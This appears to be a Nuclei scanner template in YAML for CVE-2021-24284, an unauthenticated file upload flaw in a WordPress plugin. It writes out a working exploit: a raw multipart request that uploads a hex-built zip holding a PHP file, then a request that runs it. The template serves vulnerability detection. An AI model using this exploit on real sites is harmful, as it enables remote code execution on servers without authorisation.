79 lines
3.7 KiB
YAML
79 lines
3.7 KiB
YAML
id: CVE-2021-24284
|
|
|
|
info:
|
|
name: WordPress Kaswara Modern VC Addons <=3.0.1 - Arbitrary File Upload
|
|
author: lamscun,pussycat0x,pdteam
|
|
severity: critical
|
|
description: |
|
|
WordPress Kaswara Modern VC Addons plugin through 3.0.1 is susceptible to an arbitrary file upload. The plugin allows unauthenticated arbitrary file upload via the uploadFontIcon AJAX action, which can be used to obtain code execution. The supplied zipfile is unzipped in the wp-content/uploads/kaswara/fonts_icon directory with no checks for malicious files such as PHP.
|
|
impact: |
|
|
Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected WordPress website.
|
|
remediation: |
|
|
Update to the latest version of Kaswara Modern VC Addons plugin (>=3.0.2) to mitigate this vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/8d66e338-a88f-4610-8d12-43e8be2da8c5
|
|
- https://github.com/advisories/GHSA-wqvg-8q49-hjc7
|
|
- https://www.wordfence.com/blog/2021/04/psa-remove-kaswara-modern-wpbakery-page-builder-addons-plugin-immediately/
|
|
- https://www.waltermairena.net/en/2021/04/25/0-day-vulnerability-in-the-plugin-kaswara-modern-vc-addons-plugin-what-can-i-do/
|
|
- https://lifeinhex.com/kaswara-exploit-or-how-much-wordfence-cares-about-user-security/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24284
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-24284
|
|
cwe-id: CWE-434
|
|
epss-score: 0.96657
|
|
epss-percentile: 0.99614
|
|
cpe: cpe:2.3:a:kaswara_project:kaswara:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: kaswara_project
|
|
product: kaswara
|
|
framework: wordpress
|
|
tags: cve2021,cve,intrusive,unauth,fileupload,wpscan,wordpress,wp-plugin,rce,wp,kaswara_project
|
|
variables:
|
|
zip_file: "{{to_lower(rand_text_alpha(6))}}"
|
|
php_file: "{{to_lower(rand_text_alpha(2))}}.php"
|
|
php_cmd: "<?php phpinfo();?>"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=------------------------d3be34324392a708
|
|
|
|
--------------------------d3be34324392a708
|
|
Content-Disposition: form-data; name="fonticonzipfile"; filename="{{zip_file}}.zip"
|
|
Content-Type: application/octet-stream
|
|
|
|
{{hex_decode('504B03040A0000000000FA73F454B2333E07140000001400000006001C00')}}{{php_file}}{{hex_decode('555409000366CBD76267CBD76275780B000104F50100000414000000')}}{{php_cmd}}{{hex_decode('0A504B01021E030A00000000002978F454E49BC1591300000013000000060018000000000001000000A48100000000')}}{{php_file}}{{hex_decode('555405000366CBD76275780B000104F50100000414000000504B050600000000010001004C000000530000000000')}}
|
|
--------------------------d3be34324392a708
|
|
Content-Disposition: form-data; name="fontsetname"
|
|
|
|
{{zip_file}}
|
|
--------------------------d3be34324392a708
|
|
Content-Disposition: form-data; name="action"
|
|
|
|
uploadFontIcon
|
|
--------------------------d3be34324392a708--
|
|
- |
|
|
GET /wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/{{php_file}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- "wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/style.css"
|
|
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- "phpinfo()"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a0046304402206d9b500218e0424fa6feef8e304dce74aa2561f6c4f0248ccc21dbcc1fbb4b37022058bfde31db0ab7b0c379eea70faa33b7671c2d01fdb37cbd05caa0bdb401e089:922c64590222798bb761d5b6d8e72950 |